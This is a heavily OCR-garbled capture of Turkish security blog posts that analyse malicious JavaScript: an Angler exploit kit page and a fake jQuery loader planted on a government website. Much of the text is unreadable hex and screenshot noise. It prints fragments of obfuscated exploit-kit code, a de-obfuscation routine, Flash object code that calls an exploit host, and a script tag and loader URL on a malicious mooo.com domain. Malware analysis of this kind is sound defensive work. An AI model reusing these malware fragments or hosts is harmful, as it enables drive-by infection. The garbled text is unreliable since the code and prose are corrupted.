BC D9 §A-3 179C 07 17 FB 12 01 B9 BB E§ 0AbJ 91 21 D4 24 A0 B4 AE BE 5A SEm % Al 9% BF 09 CF CEs CA DA C63_ 1D SEPy FS D4 07 EE %0 824 070 60 EC. FAF DO 20 D4f SE 9C B3 ABick "D B6RA B9 991 DF C1P 03 253 7E C0 99 9200 B 1C 0 BB 824y 3D 93 F6 409 00 84 21 IE 10 B0 FY

1Pk 3E Do B6 CF DF A% q 3F 9575 Dils DC 8606 FS F2 B C2B 893 A% 86 7E 21 17 8 FFDC 87 8D §28 A2 AD SDa Flj 565 £1 1E 22 05k ADA 5295 56 #9 9FF DAIZ0M C1 DF £3 D3 A1l 80 89 CD 7E 93 ED 6B B0 BD DC DOzt BS §308 EJ 01 AF EC ES™) 59 28 D9 "B 15 DE BA™ OC Bé 3C o0

FO C3 DEpS "B EC 3C DC TE 06 28 "Dy Clw FS 08 5D 08 AAl AL 2mup 24k 0C 37 SSL FEFS 3C 5B Do 24 3F 34 F0 C7 CDy E2 OC CD 3A DS 4C DC ES 94 BS A IF 3B F0 IF E4 P9 %6m EC 1C FCIb EC 16 TEPO E4 87 CDE 0C 00CXE BD 08 21 D4 24 A0 B4 AE BE 84 *E 53 ASI 82 0C D7
9701980 C4 RE T IEN Ay AR RSO 09 1K 84 6080 95Ka 12 Flda 60We Bt AR OC F THe BC 93 98 97 Rd- 10 82 20 90 SF 04 91y 9C AFR1 9% CDEH FC 14 R4 30 RAR R TR 09 A1 1417 CR 45 40 29 F2 9F 86 10K AF DA Fs DDLSFG A4 29 TFCT4CEDD0CE 27 M 8K 17RO IR %
F WP IE e v o v D et o P s " ~ ~ BE8

I o e e fomatien (] WROAGEMSOCAD: © U ¢ age e mat bl .

. m;uﬂmun.r-.»-‘h ek s & duabied braskport
[ —

“ ot o B | S ——
™ e v MBI, sai —
- LI |1 MEssEpEL] ST 1)
™ rrestys = walse Dbt | AP gttty |
" . 558 -
" ealii = thia] “docment 1 g’ + lemeatiphd’] (IR [ bnea’ + ENDE] Ot | typa sbjest |
" i L v ——l _ s
" vt daenid, 1)
" aca 1 irNlg, ¥
™ 4, ETEipa i
- dolnte
" watiss
B8 sty
L el (SRS
I
Tt i PRSIy RATh, i |
-
"
"
"
"
"
"
"
"

€ A S I Dot Sermgidmrns st Dk sop pance_pemi_jormat rimi X || QL sew o0 & A 4 =B
@ otie L, Coctem- O8] Porms- @ mages- i nrmatre [ Mecdreos-  outre F Reoe- 8 Took- [ Vew Source- ), Cptore
*aATqq FI F6 FI 26/ C3 AD 17 9D 7 93 PO CTHev FE 1T ED 12 OCX0 B85 1E 200 06 DS
JCT 98 B DBK E* As EF 9C 9F- B! 076 250 BBq CE FIFF B0 5B 2B %4 8% FA 36 XCED D™ x
7 20w 99 DE2. £3 FEW 58 89 Fi EC D 02 €4 03 §1 20M0D 14 AJES SD 02 50 E4 AA 7C 00 22 CF 17 EB 07 8B 16%- 9F "B BIP CD 1% 1A 40w 90z 2B 0A E2 BC S8 0B D9x 1% 0F 14 3CNe D™ 01rk 98 D* BAP B9 DB F4 A3 5% SF DSIH 7B 2% 60 EI %E AD 13 06 A0 06 94 ™ 4
06 C [EC 50 FBIC FB DD3 97 FC DI AS 08 A7 Ficx B B6 24 90 29 SE 88 11 0FY ASQ EBS 21M C4 B” DD B7 10U 8B BA C7 Al LE 924 E2 85 14 ESbph A6 DF3 P9 7B 08) SEe FAK DA 12 BS DF BE 6 FF 8C A6 92 22 DBC 2A FE 25 D4 CB 04 FD 5B C2 B7 82 E2q 0FsNe 1 7Eq ED 0B2 3A 9 562
TCOE 9F 3D BEX 10 C4 ED 228 AS 00 D9 DC 98 Db §3 0C 0F SBE CHGEN 83 24 408 9F 97 DF 20 82 OC DC 7C 91yF 3D 28 $5N FE EB 89 DFTe0 FFP FS BC 14 98 "DL 98- 98 BB 81k D™ 24ad 2% EE COE9 DF 16k 13 509 21 09 AB 30 F? 84 A Flz 0% BA% 26 28 FS F3 3C_Re F2 E7A A6 0A 40dq
@3 FB FB) CA BF 90 AA F7 E6 40 A6 9F E* 21 IFDT F3 7C 19 Flc D7 DSK 84 1Fg AT 07 1C P9 9D 17 5C E4 BT 19 860 ESW 9g BA SCL LA 02Thd B4 BS 941 IC FI A3 AA SE 1% A2 FI AF C7TU AFs ED 82 18 F? 994 120 Elp DA DB C1H 83 A2 B%4 02 26 DE EA Fla Bl 24 AD M EAFB
5B B4 02 Biv 97 FE 3F E9 8A £83 JE B2 EI AS 2Bx BE Fé 29 E*A 09 6C ECS C4 CA CF FC %6 9/W A 26 00v FB 4 E0 89 3D EE DD BI CIH 19 CF 40 99 18 84 CB 9D B3 B2 16 FS FF AA 99l 04 DD 83 EEci E0 F? 92 EB 0C 8A 91 CB CDb BF 0C BA AF 3Asv 04 "E DI SD 04KT OC DS FOH
SHIM ES 275 10 6FC B1 0F SFgX 14 1EW E7 23A 04 Bl BDdq 9E DF ASE AS AB BF DC SA 60 99 D9 18 JCLP 0 AC BEI 26HY DAJ EB "D EE CAX 40 F2 OCi C0LJm 83 CFu [ SBb DS FS 28 DOM IF 40 DT AB 4C O3 090 21D 94 Ddg 186 %3 LAB BS 9 07 A9 DE C4 F7 86 C6 DE 9F 14 91 F2
BCH 197 91 0q- 40w CHIE BE ASY OO 5D SE B0 98 C1_ 060F EF 10 7D $5a E7q B0 600 04 DE C7 9T00 1C AF $D BF 0F At 98 14 E9 FS D6 93 86 A1 9F 24 92 F2 09 BCH 29C BI 0F iFeX 14 1EW E7 254 0A BI BDd FAGY 22 DC 70 OCa 81 0% £2 DI CD BB 119 66 FF FD 09 78 86 0B DB
B 84 B2 260 164z BC AC2 BF FEv FD 2CL E9 85 00 15 22 BSI 8698 C52 F8 EF C4 B0 BE 9C 13 FB CE 1C %6 ES 15 20 A6 E2 9AR C §F E™ A0 Dipl C2 1D CB 29 7D 0F 14 AF 3Dy B CF “F5 84 90 Cs 04 0Bd 26 3F DA E” EBOE 21 JEHxL 270D 97 9D 00 E4='T 12 91 A% 3F TF9F 17 CAF2 B0 AL
F7 30 %6 ASCF 93 240 81 2%% AIL C4 YET 89 FS 1D 9855 10 129 18 1 F9 02 A4 Fc 90 0407 18 AD B1 90 13 0C 965 5F 07 OC LA 14 90 92 D1 85 © PYW ATpdi 02 00 FF D4 5P Fi SE ECM FFE BD FFADEA "Cn C6 B FE 922 84 SE C1 C7 D9 0C ©F 26 BT AAP B1 S4pm 7E 00 9 D2
KA S 102 865 4D AS B0 F4 FE C3 16 5B 07 FDF BS BC C 98 061 0D 30w JE ES. AJ FBLE2 23 B 28 96 SFC A% 0F10 SIME” C6 91 AD B3 06 C3 9¢ 584 2 2C F5 DA S4F 7 E9 9B §1 AR 56W EE9 OAZ Ede %Eo AJ A% AF AE 27 00 17 14 BF Déu BOY 40 Al AD 08g Dbk %63 F9- C3 AL
BIV 40 Al AD 08g DS Chs 57 A0 7B D7 578 Fok 67 Ficl EFy E2 JE 00 AE2 BFyv 7C FA FA B0 92 TFNA) 13 52 AC Ed #9im Bisk BDs3 198 53 02 B3 0p 50 C7 C46 E3 28 FC IF D3 FF 56 ES AA C8 AD Bax 5C DAE 22 D3 FD 3B A6 95D C0 9515 1C ASUK $A1 03 50D F5 $Cj C3 99 OC BC 00l 52 Evaz
D6 29 0% 08pk_v 11 5D DA C9 97 20 Ad 5C 11 AS 0IL A8 06 0 B D0 931 BSG' 29 AD 60 81 D7 A9k 95 23 E7 BIG AF 22 BOT AFY C1 F9 B BC A9 AD CE 22 B9S C7 A6 EAC1 12 B DC FES CF 60 F§I O3 C1L A% ECu 05 998 DI 9C 87 D91 BD 08 Al €2 2400 5F 1D 1EF EE ElE D1 "D P80 11
EET o3g 186C AE 81 LF 3D TE ASQ 0C C4 C3 9E 9E FD FJ 0 ED E6 #1c LB B9 14 9FIF DO §75h S04 LA EAP- 9118 A4 A2 |2 JF 92 98V D9 E4 LE AD FC fy 89 Bl EA 0D 10 JF 83 83 AB C3 40 FEL 24 83 4 83 §FE DD EDy E0 24 82 Bémm FI Fotp ES E4j C6 CFh O6 E4V ES 50 E* £Ba 20N A3 ACx E9
82 23 Fi2ve 190 23 EF ID A0 CB 11 81 8F 03 0B 3C AR 04 80 C4P B33 ES Clw 97w JC 1Esd 8Ad 93D EF- S8 97Wq 11 %6 7C AS%Q E7 AS 8F2 C43 15E] AF2 13 BC 16B 0Cd F7U ALZ AGE 23 IF E0 DR AT IF FIjV DA D i 2BI 53 OC 91 A2 14 Al BD E* ES{C1 FB 5D 27 €D Eé E0 F* 1Pk E D2e

4 4P 13 Fle LE 21 1B 12 C4 EA LA A7 8FS0 §36d_E*b B AS EB) DE 1E C9 D# C216 29 AB- 5B 97Wyq 11 % 7C 0D 11 9D SIT 92 06F 15 D2 §F AC §8 AA DFI D9 DAJ 9C CE 11 5B 91 91 E2 DD _k 130 _o $5 A6 AB 60 24 B F7 1F C30 93) %0 OC B6 3C 0C Fo C3 DEp *E 83 ASISS o0 D7
97 B9J EOZ B9 ESz E1 %0 C0 FPMsk £C 60 DS §7 40 20 1E 00 18 % DD SF3 5C 26 Fa FE 90 B2k $B 7F ED B4 AB SB/ 0D F* SE 9D 00 210 DI 240+ AJ Al £3 040 DI 21 B0 052 DB DE A7 E2 DF ES BI EF CA 50 E6 00' A4 C2F 55 5B 04 0F AE 12 D* Fo AF F7 2R BB Fé JE CC B6 3C 0C Fo ©3
DEp %3 BCE F7 08 FB FD 20X F6 14 A2 8D 000 F6 D3 9 13 E2 C4 FD 0DB. 64T 02 7C CO(W IBPB Fla E5 E4A BS AB 9% EA 95k 04 Fi Fi AD E4 C1 CFe C2D% FBICT AL 13 DI 1S C% 9202 Stwy FB ES DI F23 98 9 25 29 56 00 BOw AT 16 BS 04 5C iFb Die BI 06 Bé 1307 BC 06 SE CF
A2- 06 CF 23 F0 EBs-7 Al FEy OC 1C DB CA D9 8B 9F LA 22 Ctic 93 85 84 AE D2 D9 B7Q A7 26 AD €9 04 EI C1 BA D2 9C BA 7F B6 06 SE B9 991 DF C4P 03 24 AR OO 99 0C 80 21 0D DC-Q CBi D70 Fé 9C 87 9 2C $9 CE 1A 0D 2B C6 EEef 92 FF C2 C2 $BPy FS Di 07 EE %0 DA 92 DI FI 01
BC D% 3A-3 1790 07 17 FB 12 01 B9 BB E4 0Ab) 91 21 [ 2A A0 B3 AE BE 8A SEm % Al %% BF 09 CF CEs CA DA C63_ 1D *BPy FS D4 07 EE %0 824 07V 60 EC. FAF DO 20 D4f SE 9C B3 ABacR "D B6R4 B9 990 DF C1P 03 244 7E C0 99 92 3B 1C E0 BB 824y 3D 93 F6 409 00 84 21 JE 10 E0 F*
1Fk JE D20 B6 CF DF A% q iF 9F b Dilee DC 8606 FS F2 BT C2B 893 A% 06 7E 21 17 %4c FFDC 87 90 528 A2 mm-n.tosu IE 22 0% ADA B9 96 99 SFP DAJZ0M C1 DF 83 D3 All %00 89 CD 7E 93 ED 0B B0 BD DC DOzt BS 8308 E3 04 AF EC ES™) 89 2B D9 "B 1% DE B7 OC Bé 3C 00
FO O3 DEpS TBEC 3C DC 7E 06 28 TDv Clm FS 08 5D 08 5C 91 AAi Ad 2enp 24k 0 27 S5L FEFY 2C SBDdo 24 IF 84 ©C O 3A DS 5C DC ES 94 BS A6 IF 5B “Fo IF E4 F9 %6m EC 1C FCIb EC 16 TEPO E4 §7 CDE 0C 000XE BD 0By 21 D4 24 AD B4 AE BE A 'E 83 AS] 85 0C D7
#7980 4 RS TFL BN Ady AR BB 09 TE 84 6081 91a C2h 19 82 112 Flin 60Ws A AT 0 F3 THe BC 81 9897 Rd- 1 } 90 AF 04 $hy 50 AF B S CHISH FC 1A R4 30 FAR 98 TR 89 A1 1917 OF SR .40 29 F3 9F 6 105 AF A F6 DD 8F6 A4 39 TF 07 40000 CF 37 S 8IR 1TRe 3R &
LD E e om B et Coskien Pris - ~ v 808

A% J

I Cew Pwme Prolls (M) Bros Werwgs ks Dstag bk Coches

b emasele. oy MBIAN) 3

fenetisn ALILLLTIHD Svmsmpl prossnyps 1] ‘seses Jofumstsont) (retmrn SheWiunt (sLABIsLABEY) 1 Porangl protonyps ]l 334" 1o fonstion i) (revern WhoBhut (s ARV Lo LAY} 1§ BUeingl pretetrpe’ || opn” 1" Pumtioni) ieovarn PRy crw— " BB | b e 1 v evasen it b sy 1= 186 ‘vawn |

o ;

. s e e rerh "
+ 141 e tay ——
e
feptesen : i i
Rt a1 S 1O r -
. iyt - )
Sabdabiat e -

v oo Liampne i
@ coneais. ieginaniar | Sage) a

Firebug eklentisi disinda, JavaScript kodlarini analiz etmek ve hata ayikamak i¢in Chrome internet tarayicisi ile birlikte gelen Developer
Tools aracindan da faydalanabilirsiniz. Bunun i¢in ilgili HTML dosyasini agtiktan sonra, klavyede F12 tusuna basmaniz yeterli olacaktir.

Diyelim ki elinizde yazinin basinda belirttigim ve PCAP dosyasindan ¢ikarttiginiz, Angler istismar kitine ait bir HTML dosyas1 var ve
bu dosyay1 Chrome ile ¢alistirdiginizda, internet tarayicisinin doodveeantoviar.kyderby.org adresine gitmeye ¢alistigin farkettiniz. Bu
adresin, HTML dosyasinin tam olarak neresinde yer aldigini 6grenmek ve fonksiyonu analiz etmek istiyorsunuz ancak adresi arattiniz
ve bulamadiniz, bu durumda ne yapacaksiniz ?
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Bu durumda yapmaniz gereken ilk is daha once eval() fonksiyonu ile ortaya ¢ikan tiim JavaScript kodlarini, Angler HTML
dosyasmin igine kopyalamak ve g¢alistirmak olacaktir. Calistirdiginiz zaman asagidaki ekran goriintiisiinde yer aldigi gibi http
adresinin getKolaio() fonksiyonundan geldigini gorebilirsiniz. getKolaio() fonksiyonuna baktiginizda, bu fonksiyondan gelen degerin
NhxUAmwU(x]1AEel1xlAEe3); fonksiyonundan geldigini gorebilirsiniz. xIAEel1xIAEe3 degiskenine baktiginizda ise bunun gizlenmis
bir degere sahip oldugunu anlayabilirsiniz. NnxXUAmwU fonksiyonunu incelediginizde de, bunun gizlenmis veriyi ¢dzen ana fonksiyon
oldugu ortaya cikacaktir.
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* ) o domain} 167 = JF =

. 168

¥ O fie 169 1F (window. TREIEEFL) { v Ol et
¥ [ €/Documents and Settings/Adma 179 ar klfgl = ‘wri®,
- 17 Kifg2 = ‘te';
22 angher_decoded htmd 172 v Scope

173 Function getkolaie() { A
174 return Nhaidmeb{ c1AEel=14Eed); .
175 } v Breakpoants
176
177|  function getTxi(a) { v
178 return MheUdmsl{ =14AEulx1aEu3);
17 i * DOM Breabpoants
180 * AHR Beeakponts +
181 function getD() {
182 return MhsUdmsd{ «1AEFLLAEF); e ~
-t } ® Event Listeners <
184
185 function getData(a) {
186 return NhsUdms{=14Es Lx1AES3);
187 }
188
189 function getG() {
190 return slAEnLx1AEn3;
191 }
192
193 function getba() {
194 if (1iwindow.sle) {
195 return getD{)
196 } else {
197
198 |5
199 }
200 ar wirtul

202 ar tat = * e gl o+ "d27cdbbe-aehd-11cf -96b8 -44455354 0000 alla.sznma:uu- always® widt
203 tat = tat - de” value="Wttp://" +» getholado() + /" + getTal{mirtul) « = /»°;

04 tat = tat - alue="true"/>'; i
205 tat = txt = ame="F lashVars® value="gs' « “' « getDa() « ‘Besecs’ « getData{mirtul) « *
206 tat = tat . 3

207 tat = tat + applicat ion/ = -shockwave -F1 a="http://* + getkolade() + '/ + getTal(wirtu
208 tat = tat ie” values"http://" + getholado() + */* » getTal{mirtul) + *= /»°;

209 tat = tat « alue="true“/»";

210 tat = tut FlashVars® values" =" v getG() + ‘Bus=’ + getDa() + ‘Besec=" « getData{mirtul) + *
m tat = tat « -3}

12 tat = tat + -»e/objectscl--ci[endif]--»"}

3 LR ubjecl

m if (window.s2e) {

215 taplep = == .
218 +

!I “ E_I »

B d . {) Line 207, Cohsmn 62
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[ angler_decodedhtml  x
€ - C [ file:///C: /Documents % 20and% 205ettings/Administrator Desktop/angler _decoded himi W =
| B O Glements Comole Sowces Metwork Tumene Profies Resowces Audits e i x
Sources Content scripts Snippets | [ angles_decoded htmi x EBnmot t gb@ Onm
» ) (mo domain) 1 <ntmls - b Watch + €
» O fles/ 2 cbody> v Call tack
vOic i 3 cseripty
JDocuments and Settings/ Admd Not Poused
| - anghes_decoded html 5 xlAEalxlAEa3 = “VaS1TPFyVicoBinQulBy', |
6 ALAEALALAEGY = °CAuMIGBRSy s/ QP GREAUT 1nby LMk VR The- Rz ‘i)p!\m | ¥ Scope
7| AlAEt1A1AEL = °I5 L WPz esuMl 14 Not Paused
B 2lafpl:l Wdﬂ'lmwwﬂﬂﬂllld\f | .
] = ‘tvaanevdoei. doreydok ro ‘e | ¥ Beeabpounts
10 21 = “Itdrpd.d ey vt waGolHPleCpy Jnk pt radibbos Mo Beok
11 AIAEFLALAEFS « e 13 b3 IHT Mo Breakpants
12| x1AEs1x1AEs) = “GsoldnlNl. L ma 1 P |.Mh4= "
13 x1AEndxlAEnY = “d6S0TQEF gL Upquf SQRpFw BT i ThaQf 0 QBFOVATIITLL IgEV
14 eIsflySIR= “LyIc™; .-“Imlp—t +
:: wvar iDfllednz; i. Event Listener Breakpoant;
17 :__ ytwilS; | # Event Listeners [+
18
19 window( *oNIde’] = 1%}
20
21 function sMait(sT) {
n var date = new Datel);
n var tepDate = null;
Fl do {
2% tupDate = new Date();
2% } while (tmpDate - date ¢ xT);
27}
m
29 Function utuunu() 1
30 window[ "ol -ty
3 window * ump-w ] = true;
n var t = false
33 window. l'l!]l[, = window.T8e)EEs = window. T8e)EEF]l = window. TBeJEEF2 = 1)
M}
s
36 function setQuery() {
a7 window[ *oViMiTB"] = true;
38|}
39
40 function sText{line) {
a1 var result = =%,
a2 array = line.watch(/(..)/g);
43 for (var 4 = 0 1 < array.length; ies) {
a4 result «= String. ode{ parselnt (array[i], 32) / 2);
as ¥
46 array = null;
a7 return result;
48} =
as
bRl | - ;
| Aa 0 dAEeldAEe] L a el Cancel |
(N |0 tne Colmn 1
7 angler_decodedhtml  x
€ & X [ file///C: Documents%20and 9% 20Settings/Administrator Desktop/angler_decoded html w *
m | R O  Ekements Comscle Sources Metwork Timeline Profiles Resources Audits HE
Sources Content scripts Snippets & angler_decoded htmi x Bllw, e ¢ t 9o @ Oa
v © file// B |, - = | > Watch + ¢
I
'DC\- Ak S 10 war pathdata = [° sa6a ¥ Call Stack
| = angler_decoded html 1. for (var 4 = 0; 1 < pathdata.length; ++i) aTrue_pfipsthdata(i], 1 < 5 ? ;am muuuul. angles_decoded htmt5
1 pathdata = null;
195 ) =
106 aTrued(); Poused on g JovaScript bregkpoent.
107 sMait{1200); | ¥ Scope
- i i ) v
189 | > G1o0e1 Window
110 window. TBEJEEFL = true; v Breakpoints
111 window. T8eJEEF2 = true; |
112 if (tArray.prototype. indes0f) { # angles_decoded htmt
1 Array.pr .indes0f = art) { A1AEAlAlAEA3 = VASLTPFy¥zeo.
14 for (var i » (start || 9), j = tnis :-nal-, i¢d; ded o # angles_decoded hmk 124
15 if (this[i) === obi) { i
18 ey Py ndow] “NhaUAmwll™] = new Fun.
17 ¥ # angles_decoded hami 136
s Browser =
113 P L= ar=4
120 + + DOMBreskpoints
121} | .
1323 ver » = "push, | & MR Bnlgalos ¥
| 123 1 = “indesof';  » Event Listenes Breakponts
window( “NhsUdmsii™] = new Function( vts’, ~ | » Event Listeners ¢
;ns var cryptiey = xlAEalilAEa3, A = crypthey.split(’"), sA = crypthey.split('*), keyArray = []; sd.sort() |
| 126 var keySize = sA.length;\
| 127 For (var 4 = & 1 « keySize; des) {\
| 128 keyArray. =+ p v~ "o d e (SA[EDD; N
| 129 »n
| 138 war k = keySize - via.length % keySize;\
| 131 for (var 1 = & 1 < k; 1+s) {\
| 132 wim sm * '3
| 133 n
134 var endStr = °°, 4, §, line, newline;\
135 for (i = @ 4 « vix.length; i «= keySize) {\
136 line = vix.substrii, keySize).split{'");\
137 newline = *°5
138 for (] = & § < keySize; Jeso) {0
| 139 newline o= line[keyArray[§10;%
| 140 »n
| 141 endStr = endStr « newline;
142 M
143 endStr = endStr.replace{/\\s/g "")i\
144 return endStr;,
145 %
[ED}var Browser = {
| 147 version: functien() {
| 148 try {
149 var birks = /maluare.dontneedcoffee. con/ test(); -
150« [ »
| N [} tee 04 Cobas

NhxUAmwU fonksiyonunu dinamik olarak hata ayiklayici ile analiz etmek igin ise ilgili fonksiyonu ayri bir HTML dosyasina
kopyalayip, gizlenmis verileri bu fonksiyona ileterek, adim adim gizlenmis verinin nasil ¢dziildiiglinii anlayabilir ve analizinizi

gerceklestirebilirsiniz. Yolunuz agik olsun :)
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O Be:/jfCDoc..opidecode html %

& & e Documents and Settngs/Adminstr stor [Desktop/decod. htmi

@ Destie- L Cockies- 2SS+ [] Forms+ (@ Images- @ informaton- [ Mscelaneous- 7 Outine- o Rester X Tooks- [l View Source- )] Optonss

# % € ) )= comole WM 55 Scriptv DOM  Net  Cookies P #aumber> 1o g0 1o Ine ~ v BBa
If o - decodehumi = {} P AR E  wehw Stack Breskpoints 13
<html> New watch expressce -
Ay B wndow Window decode i
4 xlAZslxlABa) ® ‘VaSLTPPyTrcoBdnouwily', = decstr “doodvesantoviar. kyderby. org a =
§  xlABdIxIAB) = CAuMZGBRSye/nMGPGRSAUITRbbaxDLNe )t LabV Ikl b LMy e Lvinal bk L nTRIUR a1V 152 Thot Rz 204 TV umme HoV2 3 Tp IVRES elsfys R “Lyze™
6 xlAEtixlAZe) = “2a23)cibVROPvIXREIZZZIFK1bIFZCYIRYONZnaVIsfhnond Lol vl BBlcpel ZRF NP2 ceaubllZ safandpVhod2eviIliphe pi: =
T xlABpInlAEp) ™ 'MAtquglPoLomubeb X4 Xh]FShNMEogh rwipquf Y28 105 10M1 24 Lulin vacC 608 p FulGTS T hmQME §xMOBFOVATUTEL IgEV ) MAEaLMAEAS VaSLTPryTecobdnqully
8  xlABelxlAZel = 'tvasnevdosi.dorepdok ro bgrey ', * “c /HMOPGRSAUITE. . .bPY0STgelU 4 S=vT=l ¥1 *
9 xlABulxABW) = ‘ltirld. isUeZes mStkTrchosss==Bont_ucyvituaGoiMP LecpsyinEpMeas=oentellndppdxsass Lblnmcdyradibbosrs i =
10 xIABf1xIAEf] = ‘XuinZWZAL/ThemhlHcVed % pHVLmd TR £ 08 THPOT | abDRZ Fmc' Ve Hy 13 dnToVinb 4 9m1 TkbOe I CVIMTIBNI Zqemp 11 MAE1 A tvaenevdosi. doreydok i gy
11 xlAEsixlAEs) = ‘GeoldnlNllivwiEsTdc101XcTVSNOMaWETHP | ZunX) QWP NGETp LD mad T quESnboI0ksM) AFGe 1aG0 IbnThrpaudWs i @ MAETMAEL “RuinZMIAL/ ThtmRlNcVcOiPn. . . cUMGTMECK? I TSuGld oF =
12 xlARnlxlAEn) = 'd6GOTCEPGE 1r PP YES 13RS 1OML 24 LulinTvxC HORp FWIGTL ThmCMP EXMOBFOVATRUTELIGEVE) o iapry gapng ~S4DOIOAT GO TAAIT . . . yC IO L s DATIILGZ X"
13 elsfIysie= "LyZc";
' # A =Mt g AXKIF. . . yCTMeVd Led sDATHPbOZ k™
fanctien ducode vix) | @ MAESIMAESS “Ge0ldnLElLIvACERYdc101X. . . YIM)222T6N © ThijiM Ny =
16 var p= ‘push’, 1 = ‘indexof';
# MAEULMAELS *1333cibVROPVIXRSIZZZ0K1 . . . TLFJv] o Xe= 1=mST2g82c"
1% var cryptRey = xlAlalxlABal, cA = cryptKey.split("'}, sA = cryptKey.split(''}, keyhreay = []; sh.soct(}; * AEW]MAEWS =lelrrd. iaUeZes"mStkTrihe. . . levycTyas 8 NJSSEr gi =
19 var keySize = sA.length;
20 for (var 1 = 0; 1 < keySize; 1++) | decode decode (vix)
2 keyArray. push(ch. indexOf (sA[1]) ) - e pl | SKIN=1, LOCALE=2, CONTENT=4. more.. |
) .
2 vax k = keySize - vEx.lemgth § keySize; -
o for (var L= 0; L <k 1+#) ( & caches @ CacheStorage [ matchematchij, has=hasi), Open=openi), more
25 vex 4= ' Yy closed B false
}
7n var endStr ® ‘', i, ), line, nesline; @ conscle Object | log @ 3 o MOre.. )
2 for (1 0; 1 < vtx.length; 1 += keySice) | @ content Window decode i
2] line = vx.substr(i, keySize).spliti''}; g o g AP TAEEY R e e
0 aeiine ® ¥y & oyplo @ Crypte | subtie-SubtleCrypte, getRandomValues-getRandomvaluesi) )
1 for (3= 07 3 < heySize; 3+4) | deviceProeflato 1.15
1 | newline += Line[keyArray(1]]: @ document S Document
M endStr * endStr + mewline; # extena External |
) IS hP
6 endStr = endStr.replace(/\\s/g, ‘'); }
n return endStr; # ameSement i
L}
& Fames Window cecooe b
40 var decstr; fScreen folse
41 debugyer; .
4 decstr = decode (xlARelulAEe] |; ¢ kel .
@41  alertdecstr); @ ndexedDB @ IDBFactory | open-openi), delsteDatabase-deletsDatabase emp-cmpi) |
i <fseripe>
</henl> SUIoH o
FrerWidth 2048
length ]
- .
< " kcahoreos -

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Zararli JavaScript Analizi appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

They PWN Houses!

Source: https://www.mertsarica.com/they-pwn-houses/
By M.S on December 5th, 2016

12 Kasim 2016 tarihinde, basarilt bir "Pi Hediyem Var" oyuncusu olan Mustafa Ali CAN, ziyaret ettigi bir devlet sitesinde antiviriis
yazilimmin alarm vermesi iizerine benimle iletisime gecti. Yaptigimiz yazismada, kullandig1 antiviriis yaziliminin sitede tespit ettigi
zararli JavaScript kodunu JS/Kryptik.I olarak adlandirdigini belirtti. Devlet sitelerimizin gesitli APT gruplari tarafindan hedef alindigini
bilen bir siber giivenlik uzmani olarak, bu alarma konu olan zararli JavaScript kodunu yakindan incelemeye karar verdim.
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https://www.mertsarica.com/zararli-javascript-analizi/
https://www.mertsarica.com
https://www.mertsarica.com/they-pwn-houses/
https://www.mertsarica.com/they-pwn-houses/
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-6/
https://en.wikipedia.org/wiki/Advanced_persistent_threat
https://apt.securelist.com/#secondPage/attack=42

72 total

Antivisus Reauly Update

e ©¢ ¢ 9 © © 2 o © © ©°

Siteyi ziyaret ettiginizde, sisteminizi istismar etmeye calisan zararli bir JavaScript kodu yerine sosyal miihendislik yontemi ile
zararli yazilim (1. dropper) yiikletmeye calisan bir zararli JavaScript kodu ve mesaji1 ile karsilasiyorsunuz. Zararli javascript
kodunun nerede oldugunu bulmak icin ise kaynak koduna baktiginizda, 10 Nisan 2015 tarihinde siteye yazilan bir yorumda, http://
pol.google.com.mooo.com/ajax/libs/jquery/jquery-2.1.5.ack.min.js adresinde gizli oldugunu gorebiliyorsunuz. Tabii hakli olarak bu
zararli kodun eski tarihli bir yoruma eklenmis bir zararli kod olup olmadigini nasil bilebiliriz diye sordugunuzda, sorunuzun yanitinin
zararl yazilimin derlenme tarihinde gizli oldugunu yazinm ilerleyen kisimlarinda goérebilirsiniz.

€ BbE @, r

il o ke o Iistal e pkiok pecked o el x lscelaneouss & Outines 7 Resizer R Tools~ [l View Source- _ILC

T

o ol

<b>Tarih : </b>

10.04.2015 10:19:22f8<3

ttp://pol.google.com. I‘I'IOOO com/a;'a

ype= text/;avascnpt src="http

1.5.ack.min.js"></script> i uiss
<hr /></div>

qe- text/javascript
x/1ibs/jquery/jquery-2.1.5.ack.min.js ></script><script
google.com.mooo.com/ajax/1ibs j

JavaScript kodunu indirip, incelemeye basladigimda, kod {iizerinde gizleme teknigi (obfuscation) uygulandigini gérdiim ve
bunu kisa yoldan ¢dzmek i¢in REMnux ile birlikte gelen js-beautify ve node-js araglarindan faydalanarak gizlenmis kodu
ve icinde yer alan web adreslerini kolaylikla ¢ozebildim. jquery-2.1.5.ack.min.js (analiz esnasinda dosya adimi once maljs
sonra obfuscated.js olarak adlandirdim) dosyasinin ilk satirinda zararli yazilimlarin yiiklenecegi merkez sunucu adresi olarak
http://codebase.google.com.mooo.com/ajax/libs/jquery/ yer aliyordu. pol.google.com.mooo.com ve codebase.google.com.mooo.com
adreslerinin Tiirkiye'de bir {iniversitenin egitim fakiiltesine ait bir sunucuya yonlendiriliyor olmasi da bu sunucunun art niyetli kisiler
tarafindan hacklenmis olabilecegi ihtimalini gii¢lendiriyordu. Ayrica web sitelerindeki zararli kodlari tespit edebilen Sucuri zararli
yazilim tarayicisinin bu zararli kodu web sitesi {lizerinde tespit edememesi de bu kodun art niyetli kisiler tarafindan 6zellestirilmis
olabilecegine isaret ediyordu.
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http://mooo.com
https://remnux.org/
https://sitecheck.sucuri.net/

|| Fiddler_20-59-50js - Notepad @ - —
File Edit Format View Help

var globalpath = “http://codebase.google.com.mooo.com/ajax/1ibs]jquery/";
var theflag = 0;

var exdomain = ”JUAnBA19QkchchLEYZAUMZDEAVAxONK10831Y+BEcEx1ALIBsOGFwwDFgFAFcFOVEg";

var hexcase=0;function hex_md5(a){return rstr2hex(rstr_mds(str2rstr_utf8(a)))}function hex_hmac_md5(a,b){return
rstr2hex(rstr_hmac_mdS(str2rstr_utf8(a),str2rstr_utf8(b)))}function md5_vm_test(){return hex_md5("abc").toLowerCase
()-"900150983cd24fb0d6963f7d28e1?f?2"}funct1on rstr_md5(a){return binl2rstr(bini_md5(rstr2bini(a),a.length*8))}
function rstr_hmac_mdS(c,f){var e=rstr2binl(c);if(e. 1en?th>16){e=b1n1_md5(e ,C.length*8)}var a-Array(ls) d=Array
(16); for (var b=0;b<16;b++){a[b]=e[b]A909522486:d[b]=e[b A1549556828}var g=bin1_md5(a.concat(rstr2binl
(f)),512+f. 1ength*8);return b1n1ertr(bin1_md5(d.concat(g) ,512+128)) }function rstr2hex(c){try{hexcase}catch(g)
